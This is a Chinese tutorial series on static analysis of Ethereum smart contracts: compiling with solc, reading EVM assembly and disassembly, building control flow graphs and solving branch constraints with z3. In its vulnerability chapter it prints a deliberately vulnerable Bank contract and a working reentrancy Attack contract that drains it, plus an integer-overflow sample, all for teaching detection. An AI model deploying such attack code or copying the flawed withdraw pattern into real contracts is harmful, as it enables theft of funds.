    1.1.2 安装solidity编译器目前以太坊上的智能合约绝大多数是通过solidity语言编写的,所以本章只介绍solidity编译器的安装。solidity的安装和go-ethereum类似,也是通过apt-get安装,在安装前先添加相应的ppa仓库。完整的安装命令如下:
    sudo add-apt-repository ppa:ethereum/ethereumsudo apt-get updatesudo apt-get install solc
    执行以上命令后,最新的稳定版的solidity编译器就安装完成了。之后我们在命令行就可以使用solc命令了。
    1.2 solidity编译器的使用1.2.1 基本用法我们以一个简单的以太坊智能合约为例进行编译,智能合约代码(保存在test.sol文件)如下:
    pragma solidity ^0.4.25;contract Test {}
    执行solc命令:
    solc --bin test.sol
    输出结果如下:
    ======= test.sol:Test =======Binary: 6080604052348015600f57600080fd5b50603580601d6000396000f3006080604052600080fd00a165627a7a72305820f633e21e144cae24615a160fcb484c1f9495df86d7d21e9be0df2cf3b4c1f9eb0029solc命令的—bin选项,用来把智能合约编译后的二进制以十六进制形式表示。和—bin选项类似的是—bin-runtime,这个选项也会输出十六进制表示,但是会省略智能合约编译后的部署代码。接下来我们执行solc命令:
    solc --bin-runtime test.sol
    输出结果如下:
    ======= test.sol:Test =======Binary of the runtime part: 6080604052600080fd00a165627a7a72305820f633e21e144cae24615a160fcb484c1f9495df86d7d21e9be0df2cf3b4c1f9eb0029对比两次输出结果不难发现,使用—bin-runtime选项后,输出结果的开始部分少了6080604052348015600f57600080fd5b50603580601d6000396000f300,为何会少了这部分代码呢,看完接下来的智能合约编译后的字节码结构就明白了。
    1.2.2 智能合约字节码结构智能合约编译后的字节码,分为三个部分:部署代码、runtime代码、auxdata。

    部署代码:以上面的输出结果为例,其中6080604052348015600f57600080fd5b50603580601d6000396000f300为部署代码。以太坊虚拟机在创建合约的时候,会先创建合约账户,然后运行部署代码。运行完成后它会将runtime代码+auxdata 存储到区块链上。之后再把二者的存储地址跟合约账户关联起来(也就是把合约账户中的code hash字段用该地址赋值),这样就完成了合约的部署。
    runtime代码:该例中6080604052600080fd00是runtime代码。
    auxdata:每个合约最后面的43字节就是auxdata,它会紧跟在runtime代码后面被存储起来。

    solc命令的—bin-runtime选项,输出了runtime代码和auxdata,省略了部署代码,所以输出结果的开始部分少了6080604052348015600f57600080fd5b50603580601d6000396000f300。
    1.2.3 生成汇编代码solc命令的—asm选项用来生成汇编代码,接下来我们还是以最初的智能合约为例执行solc命令,查看生成的汇编代码。
    执行命令:
    solc --bin --asm test.sol
    输出结果如下:
    ======= test.sol:Test =======EVM assembly:... */ "test.sol":28:52 contract Test { mstore(0x40, 0x80) callvalue /* "--CODEGEN--":8:17 */ dup1 /* "--CODEGEN--":5:7 * iszero tag_1 jumpi /* "--CODEGEN--":30:31 */ 0x0 /* "--CODEGEN--":27:28 */ dup1 /* "--CODEGEN--":20:32 */ revert /* "--CODEGEN--":5:7 */tag_1:... */ "test.sol":28:52 contract Test { pop dataSize(sub_0) dup1 dataOffset(sub_0) 0x0 codecopy 0x0 returnstopsub_0: assembly {... */ /* "test.sol":28:52 contract Test { mstore(0x40, 0x80) 0x0 dup1 revert auxdata: 0xa165627a7a72305820f633e21e144cae24615a160fcb484c1f9495df86d7d21e9be0df2cf3b4c1f9eb0029}
    由1.2.2小节可知,智能合约编译后的字节码分为部署代码、runtime代码和auxdata三部分。同样,智能合约编译生成的汇编指令也分为三部分:EVM assembly标签下的汇编指令对应的是部署代码;sub_0标签下的汇编指令对应的是runtime代码;sub_0标签下的auxdata和字节码中的auxdata完全相同。由于目前智能合约文件并没有实质的内容,所以sub_0标签下没有任何有意义的汇编指令。
    1.2.4 生成ABIsolc命令的—abi选项可以用来生成智能合约的ABI,同样还是最开始的智能合约代码进行演示。
    执行solc命令:
    solc --abi test.sol
    输出结果如下:
    ======= test.sol:Test =======Contract JSON ABI []可以看到生成的结果中ABI数组为空,因为我们的智能合约里并没有内容(没有变量声明,没有函数)。
    1.3 总结本章节主要介绍了编译环境的搭建、智能合约的字节码的结构组成以及solc命令的常见用法(生成字节码,生成汇编代码,生成abi)。在下一章中,我们将对生成的汇编代码做深入的分析。
    第二章 智能合约汇编指令分析本章是智能合约静态分析的第二章,在第一章中我们简单演示了如何通过solc命令生成智能合约的汇编代码,在本章中我们将对智能合约编译后的汇编代码进行深入分析,以及通过evm命令对编译生成的字节码进行反编译。
    2.1 以太坊中的汇编指令为了让大家更好的理解汇编指令,我们先简单介绍下以太坊虚拟机EVM的存储结构,熟悉Java虚拟机的同学可以把EVM和JVM进行对比学习。
    2.1.1 以太坊虚拟机EVM编程语言虚拟机一般有两种类型,基于栈,或者基于寄存器。和JVM一样,EVM也是基于栈的虚拟机。
    既然是支持栈的虚拟机,那么EVM肯定首先得有个栈。为了方便进行密码学计算,EVM采用了32字节(256比特)的字长。EVM栈以字(Word)为单位进行操作,最多可以容纳1024个字。下面是EVM栈的示意图:

    2.1.2 以太坊的汇编指令集和JVM一样,EVM执行的也是字节码。由于操作码被限制在一个字节以内,所以EVM指令集最多只能容纳256条指令。目前EVM已经定义了约142条指令,还有100多条指令可供以后扩展。这142条指令包括算术运算指令,比较操作指令,按位运算指令,密码学计算指令,栈、memory、storage操作指令,跳转指令,区块、智能合约相关指令等。下面是已经定义的EVM操作码分布图[1](灰色区域是目前还没有定义的操作码)

    下面的表格中总结了常用的汇编指令:



    操作码
    汇编指令
    描述




    0x00
    STOP
    结束指令


    0x01
    ADD
    把栈顶的两个值出栈,相加后把结果压入栈顶


    0x02
    MUL
    把栈顶的两个值出栈,相乘后把结果压入栈顶


    0x03
    SUB
    从栈中依次出栈两个值arg0和arg1,用arg0减去arg1,再把结果压入栈顶


    0x10
    LT
    把栈顶的两个值出栈,如果先出栈的值小于后出栈的值则把1入栈,反之把0入栈


    0x11
    GT
    和LT类似,如果先出栈的值大于后出栈的值则把1入栈,反之把0入栈


    0x14
    EQ
    把栈顶的两个值出栈,如果两个值相等则把1入栈,否则把0入栈


    0x15
    ISZERO
    把栈顶值出栈,如果该值是0则把1入栈,否则把0入栈


    0x34
    CALLVALUE
    获取交易中的转账金额


    0x35
    CALLDATALOAD
    获取交易中的input字段的值


    0x36
    CALLDATASIZE
    获取交易中input字段的值的长度


    0x50
    POP
    把栈顶值出栈


    0x51
    MLOAD
    把栈顶出栈并以该值作为内存中的索引,加载内存中该索引之后的32字节到栈顶


    0x52
    MSTORE
    从栈中依次出栈两个值arg0和arg1,并把arg1存放在内存的arg0处


    0x54
    SLOAD
    把栈顶出栈并以该值作为storage中的索引,加载该索引对应的值到栈顶


    0x55
    SSTORE
    从栈中依次出栈两个值arg0和arg1,并把arg1存放在storage的arg0处


    0x56
    JUMP
    把栈顶值出栈,并以此值作为跳转的目的地址


    0x57
    JUMPI
    从栈中依次出栈两个值arg0和arg1,如果arg1的值为真则跳转到arg0处,否则不跳转


    0x60
    PUSH1
    把1个字节的数值放入栈顶


    0x61
    PUSH2
    把2个字节的数值放入栈顶


    0x80
    DUP1
    复制当前栈中第一个值到栈顶


    0x81
    DUP2
    复制当前栈中第二个值到栈顶


    0x90
    SWAP1
    把栈中第一个值和第二个值进行调换


    0x91
    SWAP2
    把栈中第一个值和第三个值进行调换



    2.2 智能合约汇编分析在第一章中,为了便于入门,我们分析的智能合约文件并不包含实质的内容。在本章中我们以一个稍微复杂的智能合约为例进行分析。智能合约(保存在test.sol文件中)代码如下:
    pragma solidity ^0.4.25;contract Overflow { uint private sellerBalance=0; function add(uint value) returns (bool, uint){ sellerBalance += value; assert(sellerBalance >= value); }}
    2.2.1 生成汇编代码执行solc命令:
    solc --asm --optimize test.sol
    其中—optimize选项用来开启编译优化。
    输出的结果如下:
    EVM assembly:... */ "test.sol":26:218 contract Overflow { mstore(0x40, 0x80) /* "test.sol":78:79 0 */ 0x0 /* "test.sol":51:79 uint private sellerBalance=0 */ dup1 sstore... */ "test.sol":26:218 contract Overflow { callvalue /* "--CODEGEN--":8:17 */ dup1 /* "--CODEGEN--":5:7 */ iszero tag_1 jumpi /* "--CODEGEN--":30:31 */ 0x0 /* "--CODEGEN--":27:28 */ dup1 /* "--CODEGEN--":20:32 */ revert /* "--CODEGEN--":5:7 */tag_1:... */ "test.sol":26:218 contract Overflow { pop dataSize(sub_0) dup1 dataOffset(sub_0) 0x0 codecopy 0x0 returnstopsub_0: assembly {... */ /* "test.sol":26:218 contract Overflow { mstore(0x40, 0x80) jumpi(tag_1, lt(calldatasize, 0x4)) and(div(calldataload(0x0), 0x100000000000000000000000000000000000000000000000000000000), 0xffffffff) 0x1003e2d2 dup2 eq tag_2 jumpi tag_1: 0x0 dup1 revert... */ /* "test.sol":88:215 function add(uint value) returns (bool, uint){ tag_2: callvalue /* "--CODEGEN--":8:17 */ dup1 /* "--CODEGEN--":5:7 */ iszero tag_3 jumpi /* "--CODEGEN--":30:31 */ 0x0 /* "--CODEGEN--":27:28 */ dup1 /* "--CODEGEN--":20:32 */ revert /* "--CODEGEN--":5:7 */ tag_3: pop... */ /* "test.sol":88:215 function add(uint value) returns (bool, uint){ tag_4 calldataload(0x4) jump(tag_5) tag_4: /* 省略部分代码 */ tag_5: /* "test.sol":122:126 bool */ 0x0 /* "test.sol":144:166 sellerBalance += value */ dup1 sload dup3 add dup1 dup3 sstore /* "test.sol":122:126 bool */ dup2 swap1 /* "test.sol":184:206 sellerBalance >= value */ dup4 gt iszero /* "test.sol":177:207 assert(sellerBalance >= value) */ tag_7 jumpi invalid tag_7:... */ /* "test.sol":88:215 function add(uint value) returns (bool, uint){ swap2 pop swap2 jump // out auxdata: 0xa165627a7a7230582067679f8912e58ada2d533ca0231adcedf3a04f22189b53c93c3d88280bb0e2670029}
    回顾第一章我们得知,智能合约编译生成的汇编指令分为三部分:EVM assembly标签下的汇编指令对应的是部署代码;sub_0标签下的汇编指令对应的是runtime代码,是智能合约部署后真正运行的代码。
    2.2.2 分析汇编代码接下来我们从sub_0标签的入口开始,一步步地进行分析:

    最开始处执行mstore(0x40, 0x80)指令,把0x80存放在内存的0x40处。第二步执行jumpi指令,在跳转之前要先通过calldatasize指令用来获取本次交易的input字段的值的长度。如果该长度小于4字节则是一个非法调用,程序会跳转到tag_1标签下。如果该长度大于4字节则顺序向下执行。接下来是获取交易的input字段中的函数签名。如果input字段中的函数签名等于”0x1003e2d2”,则EVM跳转到tag_2标签下执行,否则不跳转,顺序向下执行tag_1。ps:使用web3.sha3(“add(uint256)”)可以计算智能合约中add函数的签名,计算结果为0x1003e2d21e48445eba32f76cea1db2f704e754da30edaf8608ddc0f67abca5d0,之后取前四字节”0x1003e2d2”作为add函数的签名。在tag_2标签中,首先执行callvalue指令,该指令获取交易中的转账金额,如果金额是0,则执行接下来的jumpi指令,就会跳转到tag_3标签。ps:因为add函数没有payable修饰,导致该函数不能接受转账,所以在调用该函数时会先判断交易中的转账金额是不是0。在tag_3标签中,会把tag_4标签压入栈,作为函数调用完成后的返回地址,同时calldataload(0x4)指令会把交易的input字段中第4字节之后的32字节入栈,之后跳转到tag_5标签中继续执行。在tag_5标签中,会执行add函数中的所有代码,包括对变量sellerBalance进行赋值以及比较变量sellerBalance和函数参数的大小。如果变量sellerBalance的值大于函数参数,接下来会执行jumpi指令跳转到tag_7标签中,否则执行invalid,程序出错。在tag_7标签中,执行两次swap2和一次pop指令后,此时的栈顶是tag_4标签,即函数调用完成后的返回地址。接下来的jump指令会跳转到tag_4标签中执行,add函数的调用就执行完毕了。
    2.3 智能合约字节码的反编译在第一章中,我们介绍了go-ethereum的安装,安装完成后我们在命令行中就可以使用evm命令了。下面我们使用evm命令对智能合约字节码进行反编译。
    需要注意的是,由于智能合约编译后的字节码分为部署代码、runtime代码和auxdata三部分,但是部署后真正执行的是runtime代码,所以我们只需要反编译runtime代码即可。还是以本章开始处的智能合约为例,执行solc —asm —optimize test.sol 命令,截取字节码中的runtime代码部分:
    608060405260043610603e5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631003e2d281146043575b600080fd5b348015604e57600080fd5b5060586004356073565b60408051921515835260208301919091528051918290030190f35b6000805482018082558190831115608657fe5b9150915600把这段代码保存在某个文件中,比如保存在test.bytecode中。
    接下来执行反编译命令:
    evm disasm test.bytecode
    得到的结果如下:
    00000: PUSH1 0x8000002: PUSH1 0x4000004: MSTORE00005: PUSH1 0x0400007: CALLDATASIZE00008: LT00009: PUSH1 0x3e0000b: JUMPI0000c: PUSH4 0xffffffff00011: PUSH29 0x01000000000000000000000000000000000000000000000000000000000002f: PUSH1 0x0000031: CALLDATALOAD00032: DIV00033: AND00034: PUSH4 0x1003e2d200039: DUP20003a: EQ0003b: PUSH1 0x430003d: JUMPI0003e: JUMPDEST0003f: PUSH1 0x0000041: DUP100042: REVERT00043: JUMPDEST00044: CALLVALUE00045: DUP100046: ISZERO00047: PUSH1 0x4e00049: JUMPI0004a: PUSH1 0x000004c: DUP10004d: REVERT0004e: JUMPDEST0004f: POP00050: PUSH1 0x5800052: PUSH1 0x0400054: CALLDATALOAD00055: PUSH1 0x7300057: JUMP00058: JUMPDEST00059: PUSH1 0x400005b: DUP10005c: MLOAD0005d: SWAP30005e: ISZERO0005f: ISZERO00060: DUP400061: MSTORE00062: PUSH1 0x2000064: DUP400065: ADD00066: SWAP200067: SWAP100068: SWAP200069: MSTORE0006a: DUP10006b: MLOAD0006c: SWAP20006d: DUP30006e: SWAP10006f: SUB00070: ADD00071: SWAP100072: RETURN00073: JUMPDEST00074: PUSH1 0x0000076: DUP100077: SLOAD00078: DUP300079: ADD0007a: DUP10007b: DUP30007c: SSTORE0007d: DUP20007e: SWAP10007f: DUP400080: GT00081: ISZERO00082: PUSH1 0x8600084: JUMPI00085: Missing opcode 0xfe00086: JUMPDEST00087: SWAP200088: POP00089: SWAP20008a: JUMP0008b: STOP
    接下来我们把上面的反编译代码和2.1节中生成的汇编代码进行对比分析。
    2.3.1 分析反编译代码
    反编译代码的00000到0003d行,对应的是汇编代码中sub_0标签到tag_1标签之间的代码。MSTORE指令把0x80存放在内存地址0x40地址处。接下来的LT指令判断交易的input字段的值的长度是否小于4,如果小于4,则之后的JUMPI指令就会跳转到0x3e地址处。对比本章第二节中生成的汇编代码不难发现,0x3e就是tag_1标签的地址。接下来的指令获取input字段中的函数签名,如果等于0x1003e2d2则跳转到0x43地址处。0x43就是汇编代码中tag_2标签的地址。反编译代码的0003e到00042行,对应的是汇编代码中tag_1标签内的代码。反编译代码的00043到0004d行,对应的是汇编代码中tag_2标签内的代码。0x43地址对应的指令是JUMPDEST,该指令没有实际意义,只是起到占位的作用。接下来的CALLVALUE指令获取交易中的转账金额,如果金额是0,则执行接下来的JUMPI指令,跳转到0x4e地址处。0x4e就是汇编代码中tag_3标签的地址。反编译代码的0004e到00057行,对应的是汇编代码中tag_3标签内的代码。0x4e地址对应的指令是JUMPDEST。接下来的PUSH1 0x58指令,把0x58压入栈,作为函数调用完成后的返回地址。之后的JUMP指令跳转到0x73地址处。0x73就是汇编代码中tag_5标签的地址。反编译代码的00058到00072行,对应的是汇编代码中tag_4标签内的代码。反编译代码的00073到00085行,对应的是汇编代码中tag_5标签内的代码。0x73地址对应的指令是JUMPDEST,之后的指令会执行add函数中的所有代码。如果变量sellerBalance的值大于函数参数,接下来会执行JUMPI指令跳转到0x86地址处,否则顺序向下执行到0x85地址处。这里有个需要注意的地方,在汇编代码中此处显示invalid,但在反编译代码中,此处显示Missing opcode 0xfe。反编译代码的00086到0008a行,对应的是汇编代码中tag_7标签内的代码。0008b行对应的指令是STOP,执行到此处时整个流程结束。
    2.4 总结本章首先介绍了EVM的存储结构和以太坊中常用的汇编指令。之后逐行分析了智能合约编译后的汇编代码,最后反编译了智能合约的字节码,把反编译的代码和汇编代码做了对比分析。相信读完本章之后,大家基本上能够看懂智能合约的汇编代码和反编译后的代码。在下一章中,我们将介绍如何从智能合约的反编译代码中生成控制流图(control flow graph)。
    第三章 从反编译代码构建控制流图本章是智能合约静态分析的第三章,第二章中我们生成了反编译代码,本章我们将从这些反编译代码出发,一步一步的构建控制流图。
    3.1 控制流图的概念3.1.1 基本块(basic block)基本块是一个最大化的指令序列,程序执行只能从这个序列的第一条指令进入,从这个序列的最后一条指令退出。
    构建基本块的三个原则:

    遇到程序、子程序的第一条指令或语句,结束当前基本块,并将该语句作为一个新块的第一条语句。
    遇到跳转语句、分支语句、循环语句,将该语句作为当前块的最后一条语句,并结束当前块。
    遇到其他语句直接将其加入到当前基本块。

    3.1.2 控制流图(control flow graph)控制流图是以基本块为结点的有向图G=(N, E),其中N是结点集合,表示程序中的基本块;E是结点之间边的集合。如果从基本块P的出口转向基本块块Q,则从P到Q有一条有向边P->Q,表示从结点P到Q存在一条可执行路径,P为Q的前驱结点,Q为P的后继结点。也就代表在执行完结点P中的代码语句后,有可能顺序执行结点Q中的代码语句[2]。
    3.2 构建基本块控制流图是由基本块和基本块之间的边构成,所以构建基本块是控制流图的前提。接下来我们以反编译代码作为输入,分析如何构建基本块。
    第二章中的反编译代码如下:
    00000: PUSH1 0x8000002: PUSH1 0x4000004: MSTORE00005: PUSH1 0x0400007: CALLDATASIZE00008: LT00009: PUSH1 0x3e0000b: JUMPI0000c: PUSH4 0xffffffff00011: PUSH29 0x01000000000000000000000000000000000000000000000000000000000002f: PUSH1 0x0000031: CALLDATALOAD00032: DIV00033: AND00034: PUSH4 0x1003e2d200039: DUP20003a: EQ0003b: PUSH1 0x430003d: JUMPI0003e: JUMPDEST0003f: PUSH1 0x0000041: DUP100042: REVERT00043: JUMPDEST00044: CALLVALUE00045: DUP100046: ISZERO00047: PUSH1 0x4e00049: JUMPI0004a: PUSH1 0x000004c: DUP10004d: REVERT0004e: JUMPDEST0004f: POP00050: PUSH1 0x5800052: PUSH1 0x0400054: CALLDATALOAD00055: PUSH1 0x7300057: JUMP00058: JUMPDEST00059: PUSH1 0x400005b: DUP10005c: MLOAD0005d: SWAP30005e: ISZERO0005f: ISZERO00060: DUP400061: MSTORE00062: PUSH1 0x2000064: DUP400065: ADD00066: SWAP200067: SWAP100068: SWAP200069: MSTORE0006a: DUP10006b: MLOAD0006c: SWAP20006d: DUP30006e: SWAP10006f: SUB00070: ADD00071: SWAP100072: RETURN00073: JUMPDEST00074: PUSH1 0x0000076: DUP100077: SLOAD00078: DUP300079: ADD0007a: DUP10007b: DUP30007c: SSTORE0007d: DUP20007e: SWAP10007f: DUP400080: GT00081: ISZERO00082: PUSH1 0x8600084: JUMPI00085: Missing opcode 0xfe00086: JUMPDEST00087: SWAP200088: POP00089: SWAP20008a: JUMP0008b: STOP
    我们从第一条指令开始分析构建基本块的过程。00000地址处的指令是程序的第一条指令,根据构建基本块的第一个原则,将其作为新的基本块的第一条指令;0000b地址处是一条跳转指令,根据构建基本块的第二个原则,将其作为新的基本块的最后一条指令。这样我们就把从地址00000到0000b的代码构建成一个基本块,为了之后方便描述,把这个基本块命名为基本块1。
    接下来0000c地址处的指令,我们作为新的基本块的第一条指令。0003d地址处是一条跳转指令,根据构建基本块的第二个原则,将其作为新的基本块的最后一条指令。于是从地址0000c到0003d就构成了一个新的基本块,我们把这个基本块命名为基本块2。
    以此类推,我们可以遵照构建基本块的三个原则构建起所有的基本块。构建完成后的基本块如下图所示:

    图中的每一个矩形是一个基本块,矩形的右半部分是为了后续描述方便而对基本块的命名(当然你也可以命名成自己喜欢的名字)。矩形的左半部分是基本块所包含的指令的起始地址和结束地址。当所有的基本块都构建完成后,我们就把之前的反编译代码转化成了11个基本块。接下来我们将构建基本块之间的边。
    3.3 构建基本块之间的边简单来说,基本块之间的边就是基本块之间的跳转关系。以基本块1为例,其最后一条指令是条件跳转指令,如果条件成立就跳转到基本块3,否则就跳转到基本块2。所以基本块1就存在基本块1->基本块2和基本块1->基本块3两条边。基本块6的最后一条指令是跳转指令,该指令会直接跳转到基本块8,所以基本块6就存在基本块6->基本块8这一条边。
    结合反编译代码和基本块的划分,我们不难得出所有边的集合E:
    { '基本块1': ['基本块2','基本块3'], '基本块2': ['基本块3','基本块4'], '基本块3': ['基本块11'], '基本块4': ['基本块5','基本块6'], '基本块5': ['基本块11'], '基本块6': ['基本块8'], '基本块7': ['基本块8'], '基本块8': ['基本块9','基本块10'], '基本块9': ['基本块11'], '基本块10': ['基本块7']}
    我们把边的集合E用python中的dict类型表示,dict中的key是基本块,key对应的value值是一个list。还是以基本块1为例,因为基本块1存在基本块1->基本块2和基本块1->基本块3两条边,所以’基本块1’对应的list值为[‘基本块2’,’基本块3’]。
    3.4 构建控制流图在前两个小节中我们构建完成了基本块和边,到此构建控制流图的准备工作都已完成,接下来我们就要把基本块和边整合在一起,绘制完整的控制流图。

    上图就是完整的控制流图,从图中我们可以清晰直观的看到基本块之间的跳转关系,比如基本块1是条件跳转,根据条件是否成立跳转到不同的基本块,于是就形成了两条边。基本块2和基本块1类似也是条件跳转,也会形成两条边。基本块6是直接跳转,所以只会形成一条边。
    在该控制流图中,只有一个起始块(基本块1)和一个结束块(基本块11)。当流程走到基本块11的时候,表示整个流程结束。需要指出的是,基本块11中只包含一条指令STOP。
    3.5 总结本章先介绍了控制流图中的基本概念,之后根据基本块的构建原则完成所有基本块的构建,接着结合反编译代码分析了基本块之间的跳转关系,画出所有的边。当所有的准备工作完成后,最后绘制出控制流图。在下一章中,我们将对构建好的控制流图,采用z3对其进行约束求解。
    第四章 从控制流图开始约束求解在本章中我们将使用z3对第三章中生成的控制流图进行约束求解。z3是什么,约束求解又是什么呢?下面将会给大家一一解答。

    约束求解:求出能够满足所有约束条件的每个变量的值。z3:z3是由微软公司开发的一个优秀的约束求解器,用它能求解出满足约束条件的变量的值。
    从3.4节的控制流图中我们不难发现,图中用菱形表示的跳转条件左右着基本块跳转的方向。如果我们用变量表示跳转条件中的输入数据,再把变量组合成数学表达式,此时跳转条件就转变成了约束条件,之后我们借助z3对约束条件进行求解,根据求解的结果我们就能判断出基本块的跳转方向,如此一来我们就能模拟整个程序的执行。
    接下来我们就从z3的基本使用开始,一步一步的完成对所有跳转条件的约束求解。
    4.1 z3的使用我们以z3的python实现z3py为例介绍z3是如何使用的[3]。
    4.1.1 基本用法from z3 import *x = Int('x')y = Int('y')solve(x > 2, y < 10, x + 2*y == 7)
    在上面的代码中,函数Int(‘x’)在z3中创建了一个名为x的变量,之后调用了solve函数求在三个约束条件下的解,这三个约束条件分别是x > 2, y < 10, x + 2*y == 7,运行上面的代码,输出结果为:
    [y = 0, x = 7]
    实际上满足约束条件的解不止一个,比如[y=1,x=5]也符合条件,但是z3在默认情况下只寻找满足约束条件的一组解,而不是找出所有解。
    4.1.2 布尔运算from z3 import *p = Bool('p')q = Bool('q')r = Bool('r')solve(Implies(p, q), r == Not(q), Or(Not(p), r))
    上面的代码演示了z3如何求解布尔约束,代码的运行结果如下:
    [q = False, p = False, r = True]
    4.1.3 位向量在z3中我们可以创建固定长度的位向量,比如在下面的代码中BitVec(‘x’, 16)创建了一个长度为16位,名为x的变量。
    from z3 import *x = BitVec('x', 16)y = BitVec('y', 16)solve(x + y > 5)
    在z3中除了可以创建位向量变量之外,也可以创建位向量常量。下面代码中的BitVecVal(-1, 16)创建了一个长度为16位,值为1的位向量常量。
    from z3 import *a = BitVecVal(-1, 16)b = BitVecVal(65535, 16)print simplify(a == b)
    4.1.4 求解器from z3 import *x = Int('x')y = Int('y')s = Solver()s.add(x > 10, y == x + 2)print sprint s.check()
    在上面代码中,Solver()创建了一个通用的求解器,之后调用add()添加约束,调用check()判断是否有满足约束的解。如果有解则返回sat,如果没有则返回unsat。
    4.2 使用z3进行约束求解对于智能合约而言,当执行到CALLDATASIZE、CALLDATALOAD等指令时,表示程序要获取外部的输入数据,此时我们用z3中的BitVec函数创建一个位向量变量来代替输入数据;当执行到LT、EQ等指令时,此时我们用z3创建一个类似If(ULE(xx,xx), 0, 1)的表达式。
    4.2.1 生成数学表达式接下来我们以3.2节中的基本块1为例,看看如何把智能合约的指令转换成数学表达式。
    在开始转换之前,我们先来模拟下以太坊虚拟机的运行环境。我们用变量stack=[]来表示以太坊虚拟机的栈,用变量memory={}来表示以太坊虚拟机的内存,用变量storage={}来表示storage。
    基本块1为例的指令码如下:
    00000: PUSH1 0x8000002: PUSH1 0x4000004: MSTORE00005: PUSH1 0x0400007: CALLDATASIZE00008: LT00009: PUSH1 0x3e0000b: JUMPI

    PUSH指令是入栈指令,执行两次入栈后,stack的值为[0x80,0x40]
    MSTORE执行之后,stack为空,memory的值为{0x40:0x80}
    CALLDATASIZE指令表示要获取输入数据的长度,我们使用z3中的BitVec(“Id_size”,256),生成一个长度为256位,名为Id_size的变量来表示此时输入数据的长度。
    LT指令用来比较0x04和变量Id_size的大小,如果0x04小于变量Id_size则值为0,否则值为1。使用z3转换成表达式则为:If(ULE(4, Id_size), 0, 1)
    JUMPI是条件跳转指令,是否跳转到0x3e地址处取决于上一步中LT指令的结果,即表达式If(ULE(4, Id_size), 0, 1)的结果。如果结果不为0则跳转,否则不跳转,使用z3转换成表达式则为:If(ULE(4, Id_size), 0, 1) != 0

    至此,基本块1中的指令都已经使用z3转换成数学表达式。
    4.2.2 执行数学表达式执行上一节中生成的数学表达式的伪代码如下所示:
    from z3 import *Id_size = BitVec("Id_size",256)exp = If(ULE(4, Id_size), 0, 1) != 0solver = Solver()solver.add(exp)if solver.check() == sat: print "jump to BasicBlock3"else: print "error "
    在上面的代码中调用了solver的check()方法来判断此表达式是否有解,如果返回值等于sat则表示表达式有解,也就是说LT指令的结果不为0,那么接下来就可以跳转到基本块3。
    观察3.4节中的控制流图我们得知,基本块1之后有两条分支,如果满足判断条件则跳转到基本块3,不满足则跳转到基本块2。但在上面的代码中,当check()方法的返回值不等于sat时,我们并没有跳转到基本块2,而是直接输出错误,这是因为当条件表达式无解时,继续向下执行没有任何意义。那么如何才能执行到基本块2呢,答案是对条件表达式取反,然后再判断取反后的表达式是否有解,如果有解则跳转到基本块2执行。伪代码如下所示:
    Id_size = BitVec("Id_size",256)exp = If(ULE(4, Id_size), 0, 1) != 0negated_exp = Not(If(ULE(4, Id_size), 0, 1) != 0)solver = Solver()solver.push()solver.add(exp)if solver.check() == sat: print "jump to BasicBlock3"else: print "error"solver.pop()solver.push()solver.add(negated_exp)if solver.check() == sat: print "falls to BasicBlock2"else: print "error"
    在上面代码中,我们使用z3中的Not函数,对之前的条件表达式进行取反,之后调用check()方法判断取反后的条件表达式是否有解,如果有解就执行基本块2。
    4.3 总结本章首先介绍了z3的基本用法,之后以基本块1为例,分析了如何使用z3把指令转换成表达式,同时也分析了如何对转换后的表达式进行约束求解。在下一章中我们将会介绍如何在约束求解的过程中加入对智能合约漏洞的分析,精彩不容错过。
    第五章 常见的智能合约漏洞以及检测方法在本章中,我们首先会介绍智能合约中常见的漏洞,之后会分析检测这些漏洞的方法。
    5.1 智能合约中常见的漏洞5.1.1 整数溢出漏洞我们以8位无符号整数为例分析溢出产生的原因,如下图所示,最大的8位无符号整数是255,如果此时再加1就会变为0。

    Solidity语言支持从uint8到uint256,uint256的取值范围是0到2^256-1。如果某个uint256变量的值为2^256-1,那么这个变量再加1就会发生溢出,同时该变量的值变为0。
    pragma solidity ^0.4.20;contract Test { function overflow() public pure returns (uint256 _overflow) { uint256 max = 2**256-1; return max + 1; }}
    上面的合约代码中,变量max的值为2^256-1,是uint256所能表示的最大整数,如果再加1就会产生溢出,max的值变为0。
    5.1.2 重入漏洞当智能合约向另一个智能合约转账时,后者的fallback函数会被调用。如果fallback函数中存在恶意代码,那么恶意代码会被执行,这就是重入漏洞产生的前提。那么重入漏洞在什么情况下会发生呢,下面我们以一个存在重入漏洞的智能合约为例进行分析。
    pragma solidity ^0.4.20;contract Bank { address owner; mapping (address => uint256) balances; constructor() public payable{ owner = msg.sender; } function deposit() public payable { balances[msg.sender] += msg.value; } function withdraw(address receiver, uint256 amount) public{ require(balances[msg.sender] > amount); require(address(this).balance > amount); // 使用 call.value()()进行ether转币时,没有Gas限制 receiver.call.value(amount)(); balances[msg.sender] -= amount; } function balanceOf(address addr) public view returns (uint256) { return balances[addr]; }}contract Attack { address owner; address victim; constructor() public payable { owner = msg.sender; } function setVictim(address target) public{ victim = target; } function step1(uint256 amount) public payable{ if (address(this).balance > amount) { victim.call.value(amount)(bytes4(keccak256("deposit()"))); } } function step2(uint256 amount) public{ victim.call(bytes4(keccak256("withdraw(address,uint256)")), this,amount); } // selfdestruct, send all balance to owner function stopAttack() public{ selfdestruct(owner); } function startAttack(uint256 amount) public{ step1(amount); step2(amount / 2); } function () public payable { if (msg.sender == victim) { // 再次尝试调用Bank合约的withdraw函数,递归转币 victim.call(bytes4(keccak256("withdraw(address,uint256)")), this,msg.value); } }}
    在上面的代码中,智能合约Bank是存在重入漏洞的合约,其内部的withdraw()方法使用了call方法进行转账,使用该方法转账时没有gas限制。 智能合约Attack是个恶意合约,用来对存在重入的智能合约Bank进行攻击。攻击流程如下:

    Attack先给Bank转币
    Bank在其内部的账本balances中记录Attack转币的信息
    Attack要求Bank退币
    Bank先退币再修改账本balances

    问题就出在Bank是先退币再去修改账本balances。因为Bank退币的时候,会触发Attack的fallback函数,而Attack的fallback函数中会再次执行退币操作,如此递归下去,Bank没有机会进行修改账本的操作,最后导致Attack会多次收到退币。
    5.2 漏洞的检测方法5.2.1 整数溢出漏洞的检测通过约束求解可以很容易的发现智能合约中的整数溢出漏洞,下面我们就通过一个具体的例子一步步的分析。
    首先对5.1.1节中的智能合约进行反编译,得到的部分反编译代码如下:
    000108: PUSH1 0x00000110: DUP1000111: PUSH32 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff000144: SWAP1000145: POP000146: PUSH1 0x01000148: DUP2000149: ADD000150: SWAP2000151: POP000152: POP000153: SWAP1000154: JUMP
